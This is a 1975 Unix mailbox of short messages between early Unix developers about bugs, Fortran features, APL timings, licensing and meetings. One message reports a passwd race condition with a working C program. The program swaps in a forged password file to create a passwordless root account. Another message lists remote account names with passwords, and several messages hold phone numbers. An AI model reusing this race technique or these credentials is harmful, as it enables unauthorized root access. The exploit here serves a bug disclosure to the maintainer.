From rhm Thu Jul  3 14:23:21 1975
call Louis Klauder Jr. 215-563-2570

From rhm Thu Jul  3 14:23:05 1975
Call Betty on ext. 2415.

From ras Thu Jul  3 11:38:28 1975
Ken-

There's still a bug in the passwd command.
It should make the temporary in /etc instead of /tmp.
Consider the following:

	/tmp/.p is a modified version of /etc/passwd
		containing a line in the middle like:
			glop::0:1::/:

	Run the following program asynchronously (with a `&'):

		main()
		{
			char sbuf[36];

			chdir("/tmp");
			while (stat("ptmp", sbuf)<0) ;
			unlink("ptmp");
			link(".p", "ptmp");
			unlink(".p");
		}

	Execute `passwd ken ""'

	login glop


					Alan Glasser

From ken Wed Jul  2 01:07:48 1975
from greg,
thanks for the note.  i wanted to check when in 
august you are leaving.  i've not yet
set up a schedule for myself, but would not
want to miss you.  also, could you put me
in touch with the aec and nbs people who
are getting multiple unix licenses?

From bwk Tue Jul  1 23:21:40 1975
All of the programs from the tools book are now available
for destructive testing, in /use/style/try.
To get started, cat /usr/style/try/0general.info .
Specific information on 
prog____ is in prog____.inf___ .
Help yourself.

From bwk Tue Jul  1 22:21:46 1975
you still have some sort of problem with undeclared variables
in Fortran - my manifest constants aren't gettig picked up
when i fail to declare them, even when they are part of
arithmetic expressions.

From ken Tue Jul  1 19:52:18 1975
write does not check read errors.

From usg Tue Jul  1 09:53:05 1975

Meeting with USG scheduled for Wed (7/2) at 3 p.m. in 2D-325.

From daemon Tue Jul  1 00:36:12 1975
db seems to blow read errors

From c Sat Jun 21 02:56:07 1975
Some timing figures.
1000 times around a loop which computes an arithmetic expression.
ppl: 10.5 sec user.
bas:   .5 sec user.
apl: 12.3 sec user.

The apl program was a straight loop, complete with tests and goto's.
Redone with a vector:

apl: 1.2 sec user

(However total time was 19 sec presumably
because of growing the core image).

By the way, why is it impossible to change origin in a function,
and why does apl <x print out the input and loaded functions
(twice)?
Also, why can't you have a period in a )load'ed filename?

From bwk Fri Jun 20 16:54:22 1975
talked to chesson at illinois:
1. when you send him his care package, i want to
include not only the c ratfor, but the fortran ratfor,
so he can move it to the pdp-10. let me know
when it's near.
2. under what circumstances can he get eqn, troff and
all the peripheral stuff? he was under the impression
that he would get it in the care package, but i d$told
him that wasn't likely.

From doug Fri Jun 13 08:19:32 1975
opr bug:
the unique name computed when pid is negative
is gibberish, which causes troubles when one
of the gibberish characters is /
or \0
I installed a quick and dirty fix in dpr and lpr
but not in npr, which has different code
my fix prints (pid%32768+40000)
if its important to have the real pid
something more will have to be done

From usg Thu Jun 12 09:09:40 1975
/usr/fort/rt2/openrw.s still looks truncated. Where is the good one?

From ken Sun Jun  8 00:55:50 1975
dupree 4187
dump sHould close/open tape
quot references pwd.h

From doug Thu Jun  5 06:01:38 1975
the more i think about the terrible behavior
of the standard input to remotely executed
commands, and especially the impossibility of
running msh from a script,
the more convinced i am that no standard input
should be supplied  to remote commands unless
explicitly redirected--just like  &

From kck Mon Jun  2 17:23:02 1975
col into new system

From mel Thu May 29 16:17:26 1975
The logon program /usr/mel/source/entry now looks for a file
named ".options" in your initial directory, and if it is present
it is executed as a shell sequence after tabs are set but before
you get your first '%'.

From ken Mon May 19 12:39:12 1975
sh /usr/doug/docross

From ken Wed May 14 13:14:45 1975
how about end= in fortran

From ken Mon Mar 31 20:15:27 1975
cmua n810ew11, password tos
cmub a630ew11, password tos
type sys:tech.doc
ru sys:tech

412-687-3411,2

From ken Mon Mar 31 17:04:58 1975
su neednt lose user id.
shell can use hi byte.

From bwk Fri Mar 28 14:06:14 1975
would it be a big deal to add the END= construction
to fortran's read statement so one could tell
about end of file????

From ras Tue Mar 25 10:26:42 1975

about 6th edition manual:

find(I) has three problems
  -size doesnt work "ls -s" (fixed on our system)
  user numbers >127 dont work for the usual reason
  find.c wont compile with latest cc.

file system labeling:
  we are about to install our third unix and train out first
  operator.
  we are tentatively messing around with storing filesystem
  name and volume IDat the end of the superblock.
  (char fsname[6], volume[6];)
  to make file backup safe for an operator, we have a copy program
  which checks the labels.  we also use a shell variant in the
  backup process which reads arguments from /dev/tty
  ($a - $j-- ugly, but useful).
  i dont know whether you are interested in any of this, but i
  would like to lay claim on on that label space, in any case.

installing unix:
  graveman recently installed unix at the east brunswick high
  school.  he didnt have any trouble, but i think he has some
  ideas about additional info which should be sent with the package.
